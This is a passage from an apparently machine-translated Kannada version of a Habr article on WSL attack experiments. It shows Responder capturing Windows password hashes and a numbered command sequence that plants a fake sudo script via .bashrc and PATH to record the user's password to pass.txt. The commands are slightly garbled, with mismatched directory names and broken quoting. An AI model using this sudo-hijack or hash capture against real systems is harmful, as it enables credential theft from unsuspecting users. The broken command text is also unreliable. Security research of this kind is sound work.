    Kali Linux ಗಣಕದಲ್ಲಿ ನಾವು ರನ್ ಮಾಡುತ್ತೇವೆ:

    1. Responder -I eth0 -rdvw

    ವಿಂಡೋಸ್ ಗಣಕದಲ್ಲಿ, ಬ್ಯಾಷ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸೋಣ.

    ನಾವು Kali Linux ಗಣಕದಲ್ಲಿ ಫಲಿತಾಂಶಕ್ಕಾಗಿ ಕಾಯುತ್ತಿದ್ದೇವೆ:

    WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

    ಹೀಗಾಗಿ, ನಾವು ಲಿನಕ್ಸ್ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಆಜ್ಞೆಯನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸುವ ಮೂಲಕ WSL ಉಪವ್ಯವಸ್ಥೆಯ ಮೂಲಕ ವಿಂಡೋಸ್ ಬಳಕೆದಾರರ ಹ್ಯಾಶ್‌ಗಳನ್ನು ಪಡೆದುಕೊಂಡಿದ್ದೇವೆ.

    WSL 1 ಪ್ರಯೋಗಗಳು: ಬಳಕೆದಾರ ಗುಪ್ತಪದವನ್ನು ಪಡೆಯುವುದು (Linux OS)

    ಇನ್ನೂ ಒಂದು ಪ್ರಯೋಗ ಮಾಡೋಣ. ಈ ಪರಿಶೀಲನೆಯ ಸಮಯದಲ್ಲಿ ನಾವು ಫೈಲ್‌ಗೆ ಸೇರಿಸುತ್ತೇವೆ .bashrc ಲಿನಕ್ಸ್ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಂ ಬಳಕೆದಾರ ಗುಪ್ತಪದವನ್ನು ಪಡೆಯಲು ಹಲವಾರು ಆಜ್ಞೆಗಳು.

    ಬ್ಯಾಷ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸೋಣ ಮತ್ತು ಆಜ್ಞೆಗಳನ್ನು ನಮೂದಿಸಿ:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    ದಾಳಿಯನ್ನು ಯಶಸ್ವಿಯಾಗಿ ಪೂರ್ಣಗೊಳಿಸಲು, ಬಳಕೆದಾರ ಸ್ಯಾಮ್ ಲಿನಕ್ಸ್ ಟರ್ಮಿನಲ್‌ನಲ್ಲಿ ಸುಡೋಗೆ ಕರೆ ಮಾಡಬೇಕಾಗುತ್ತದೆ. ಇದರ ನಂತರ, ಲಿನಕ್ಸ್ ಓಎಸ್ ಬಳಕೆದಾರರ ಪಾಸ್‌ವರ್ಡ್ ಫೈಲ್‌ನಲ್ಲಿರುತ್ತದೆ pass.txt:

    WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

    ದಾಳಿಯ ಅನುಷ್ಠಾನವನ್ನು ಸೈದ್ಧಾಂತಿಕ ಮಾಹಿತಿಗಾಗಿ ಮಾತ್ರ ನೀಡಲಾಗಿದೆ.

    ಲೇಖನದ ಮುಂದಿನ ಭಾಗವು 9P ಪ್ರೋಟೋಕಾಲ್ನ ಅನುಷ್ಠಾನವನ್ನು ವಿವರಿಸುತ್ತದೆ, ಈ ಪ್ರೋಟೋಕಾಲ್ಗಾಗಿ ಸ್ಕ್ಯಾನರ್ನ ರಚನೆಯನ್ನು ಪರಿಗಣಿಸಿ ಮತ್ತು ಅದನ್ನು ಬಳಸಿಕೊಂಡು ದಾಳಿಯನ್ನು ಸಹ ಕೈಗೊಳ್ಳುತ್ತದೆ.

    ಬಳಸಿದ ಸಾಹಿತ್ಯದ ಪಟ್ಟಿ

    WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

    ಮತ್ತಷ್ಟು ಓದು

    ಮೂಲ: www.habr.com

    ಕಾಮೆಂಟ್ ಅನ್ನು ಸೇರಿಸಿ